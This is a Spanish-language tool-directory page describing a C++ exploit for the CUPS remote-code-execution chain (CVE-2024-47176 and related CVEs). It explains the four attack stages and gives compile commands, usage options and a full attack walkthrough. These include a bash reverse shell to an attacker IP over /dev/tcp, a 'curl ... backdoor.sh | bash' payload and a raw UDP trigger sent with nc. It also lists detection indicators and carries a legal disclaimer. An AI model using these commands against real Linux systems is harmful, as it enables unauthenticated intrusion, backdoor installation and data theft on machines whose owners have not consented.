Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Cups-RCE-Exploit — Exploit en C++ para ejecución remota de código sin autenticación en CUPS mediante la cadena CVE-2024-47176. | Kitploit
Herramientas/GitHubGitHub/stickxx00/cups-rce-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubstickxx00/cups-rce-exploit

Cups-RCE-Exploit

Exploit en C++ para ejecución remota de código sin autenticación en CUPS mediante la cadena CVE-2024-47176.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit de RCE en CUPS - Cadena CVE-2024-47176

Qué Es

Un exploit de prueba de concepto totalmente funcional dirigido a la cadena de vulnerabilidades de ejecución remota de código en CUPS (Common Unix Printing System) descubierta en septiembre de 2024. Esta cadena está compuesta por cuatro CVEs — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 y CVE-2024-47177 — que en conjunto permiten a un atacante remoto no autenticado ejecutar comandos arbitrarios en cualquier sistema Linux que ejecute una versión vulnerable de CUPS.

Cómo Funciona

El exploit despliega un servidor IPP (Internet Printing Protocol) malicioso que simula una impresora de red. El ataque se desarrolla en cuatro etapas:

Etapa 1 — Disparador de Descubrimiento Se envía un paquete UDP manipulado al puerto 631 del objetivo. El daemon cups-browsed confía en este paquete sin autenticación e inicia una conexión TCP de vuelta al servidor IPP del atacante para obtener los atributos de la impresora.

Etapa 2 — Entrega de PPD Malicioso El servidor IPP del atacante responde con atributos de impresora que contienen datos sin sanear. Estos datos fluyen a través de libcupsfilters y libppd, que no validan ni sanean la entrada, lo que permite incrustar una directiva maliciosa FoomaticRIPCommandLine en un archivo PPD.

Etapa 3 — Inyección de Comandos Cuando se envía un trabajo de impresión a la impresora controlada por el atacante (ya sea automáticamente o por una acción del usuario), el filtro foomatic-rip procesa el archivo PPD y ejecuta el comando inyectado con los privilegios del usuario lp.

Etapa 4 — Ejecución del Payload El comando inyectado se ejecuta en el sistema objetivo. Los payloads más comunes incluyen shells inversas, instalación de backdoors, exfiltración de datos o preparación para escalada de privilegios.

Versiones Afectadas

cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1

La mayoría de las distribuciones Linux incluyeron versiones afectadas hasta los parches de finales de 2024.

Requisitos Previos

Una máquina Linux con g++ y herramientas de desarrollo estándar Acceso de red al objetivo (el puerto UDP 631 debe ser accesible) El objetivo debe estar ejecutando cups-browsed escuchando en UDP 631 Se recomienda ser root o usar sudo para enlazar al puerto 631 (o usar un puerto alto como 1631)

Compilación

g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Sin dependencias externas. Compila en cualquier distribución Linux con g++.

Uso

./cups_rce_exploit -l <IP_ATACANTE> -r [opciones]

Opciones

-l, --listener Dirección IP del atacante para el servidor IPP malicioso -r, --reverse Comando a ejecutar en el objetivo, o ruta a un archivo de script -t, --target IP de la máquina objetivo (envía el paquete UDP de disparo automáticamente) -p, --port Puerto para el servidor IPP malicioso (por defecto: 631) -s, --spoof Nombre de suplantación de la impresora (por defecto: VulnPrinter) -T, --target-port Puerto UDP del objetivo (por defecto: 631) -h, --help Muestra el mensaje de ayuda

Ejemplo de Shell Inversa

Terminal 1 — iniciar el listener: nc -lvnp 4444

Terminal 2 — ejecutar el exploit: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Payload desde un Archivo

echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100

Modo Servidor con Disparo Manual

Terminal 1 — iniciar el servidor: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"

Terminal 2 — enviar el disparo UDP al objetivo: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631

Usando un Puerto No Privilegiado

./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631

Recorrido Completo del Ataque

Paso 1: Configura un listener de netcat en tu máquina atacante nc -lvnp 4444

Paso 2: Compila el exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Paso 3: Ejecuta el exploit contra el objetivo ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Paso 4: Si un usuario de la máquina objetivo imprime una página de prueba o cualquier documento en la impresora maliciosa, recibirás una shell inversa como el usuario lp.

Indicadores de Detección

Paquetes UDP inesperados en el puerto 631 que contienen cadenas URI de IPP Conexiones TCP salientes desde cups-browsed a hosts desconocidos en el puerto 631 Impresoras desconocidas que aparecen automáticamente en la interfaz web de CUPS Procesos iniciados por foomatic-rip o bajo el usuario lp

Aviso Legal

AVISO LEGAL

Este software se proporciona únicamente con fines educativos y de investigación. Está destinado a ayudar a profesionales de seguridad, pentesters y administradores de sistemas a comprender, detectar y defenderse de las vulnerabilidades descritas.

El uso no autorizado de este exploit contra sistemas que no posees o para los que no tienes permiso explícito por escrito para probar es ilegal y puede violar la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act y leyes similares en otras jurisdicciones.

Los casos de uso autorizados incluyen evaluaciones de seguridad en sistemas que posees, pruebas de penetración con autorización por escrito, programas de bug bounty con alcance explícito, investigación académica en entornos de laboratorio controlados y competiciones CTF.

El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este software. Los usuarios son los únicos responsables del cumplimiento de todas las leyes aplicables y de obtener la autorización adecuada antes de realizar pruebas.

Al usar este software, aceptas estos términos.

Referencias

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org

Descargar herramienta